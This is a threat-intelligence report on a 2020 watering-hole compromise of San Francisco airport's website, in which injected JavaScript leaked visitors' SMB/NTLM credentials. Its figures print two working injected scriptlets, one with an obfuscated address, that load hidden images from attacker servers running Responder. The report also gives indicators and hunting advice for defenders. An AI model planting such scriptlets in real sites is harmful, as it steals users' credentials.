THREAT INTELLIGENCE SUMMARY

AA-2020-14: DYMALLOY STRATEGIC WEB COMPROMISE OF MAJOR INTERNATIONAL AIRPORT WEBSITE

7 April 2020

ICS Impact
Dragos assesses with high confidence the adversary group DYMALLOY injected a script into San Francisco International Airport's (SFO) main website flysfo[.]com with the intention of conducting SMB/NTLM credential harvesting between 4 March and 25 March 2020. While the compromise is confirmed between 23 Marchand 25 March 2020, based on location and timing proximity, Dragos assesses with medium confidence that this watering hole attack may have been intended to track individuals or take advantage of the high internet traffic the airport receives to capture as many credentials as possible before these dates.

Threat Analysis	Analyst Assessment
What is the threat classification?	Strategic Web Compromise
What is the risk rating?	Limited threat, risk, or vulnerability requiring an applicability assessment before taking action.
What is the targeted ICS industry vertical?	Multiple industrial verticals could be impacted
Which activity group is involved?	DYMALLOY
To which stage on the ICS Cyber Kill Chain does this activity correlate?	Stage 1 intrusion phase to enable pivoting to Stage 2 operations
How is the malware or attack delivered?	Strategic Web Compromise
How do you confirm a compromise?	Successful port 445 or 139 connections to adversary-controlled infrastructure
What is the best course of action for remediation?	Reset NTLM credentials from impacted users. See recommendations for additional guidance for hunting.
What are the mitigations or countermeasures to stop it in the future?	See recommendations
Are IOCs available?	Yes

AA-2020-14: DYMALLOY STRATEGIC WEB COMPROMISE OF MAJOR INTERNATIONAL AIRPORT WEBSITE

SAN FRANSISCO INTERNATIONAL AIRPORT (SFO) HOSTED CREDENTIAL CAPTURE SCRIPT

7 April 2020

TLP: AMBER For Dragos Customers Only

● A limited threat, risk, or vulnerability requiring an applicability assessment before taking action

This report and its contents may be shared and reused within your organization but may not be redistributed in any manner elsewhere. Data may be inaccurate and may refer to legitimate but compromised properties. THIS INFORMATION IS PROVIDED AS-IS FOR INFORMATIONAL PURPOSES ONLY, WITH NO WARRANTY EXPRESSED OR IMPLIED.

Summary

Dragos assesses with high confidence the adversary group DYMALLOY injected a script into San Francisco International Airport's (SFO) main website flysfo[.]com with the intention of conducting SMB/NTLM credential harvesting between 4 March and 25 March 2020. While the compromise is confirmed between 23 March 2020 and 25 March 2020, based on location and timing proximity, Dragos assesses with medium confidence that this watering hole attack may have been intended to track individuals or take advantage of the high internet traffic the airport receives to capture as many credentials as possible before these dates.

DYMALLOY Strategic Web Compromise Activity

Dragos recently discovered a credential harvesting watering hole on the San Francisco International Airport's main website page injected between 4 March and 25 March 2020. The injected scriptlet was located in "mobile.js," a javascript file designed to determine if a user was on a mobile device for compatibility and functionality of the website.

The injected scriplet's primary purpose was to cause a user who visits the watering-holed website to request a resource (in this instance "sfo.png") from an adversary owned server at 51.159.28[.]101 which was running the open source tool Responder[1] to capture the SMB/NTLM credentials. This activity is a reemergence of DYMALLOY that has compromised entities outside of Ukraine since February 2019 maintains a wider area of targeting for industry verticals outside of energy verticals.

The adversary changed the method of its typical credential harvesting scriplet, adding obfuscation for the adversary-controlled server while also changing the variable names to avoid detection or discovery by security researchers and the victim themselves (see Figure 1and Figure 2)

[1] SpiderLabs/ Responder – GitHub

```
bothx=document.getElementsByTagName("body");
elemx=document.createElement("img");
elemx.style.width="1";
elemx.style.height="1";
elemx.style.visibility="hidden";
elemx.src="file://5"+"1"+"."+"1"+"5"+"9"+"."+"2"+"8"+"."+"1"+"0"+"1"+"/sfo.png";
bothx[0].appendChild(elemx);
```

Figure: Injected Credential Harvesting Scriptlet from flysfo[.]com

```
bL=document.getElementsByTagName("body");
el=document.createElement("img");
el.style.width="1";
el.style.height="1";
el.style.visibility="hidden";
el.src="file://5.9.59[.]54/icon.png";
bL[0].appendChild(el);
```

Figure 2: Injected Credential Harvesting Scriptlet from fcdynamo[.]kiev[.]ua

Conclusion

Dragos assesses with moderate confidence that the strategic web compromise activity being conducted by DYMALLOY is a continued expansion of the adversary's credential harvesting activities outside of typically targeted verticals that began March 2019 and is ongoing. DYMALLOY will most likely continue this method to acquire credentials to gain initial access to VPNs, corporate web mail such as Outlook Web Access (OWA), and/or externally facing network infrastructure.

Recommendations

- Block outbound SMB (Port 445) and Netbios (Port 139) at the firewall.
- Monitor for attempted SMB/NTLM credential harvesting attempts. Failed requests often have the PROPFIND then OPTIONS HTTP methods with a WebDAV User-Agent. The requests will always utilize an IP Address as the address with no corresponding DNS lookup (e.g. hxxp://51.159.28[.]101/sfo.png).
- To identify this SMB/NTLM credential harvesting activity, it is recommended that analysts conduct searches in proxy logs for traffic to flysfo[.] between 4 March 4 and 27 March 2020 in combination with outbound HTTP traffic to 51.159.28[.]101 from port 80, port 139, or port 445. The request in logs will typically appear as:

    - http://51.159.28.101/sfo.png
      OR
    - http://51.159.28.101/sfo.pn

References

- SpiderLabs/ Responder – GitHub

Tags: DYMALLOY, Compromise, Airport, United States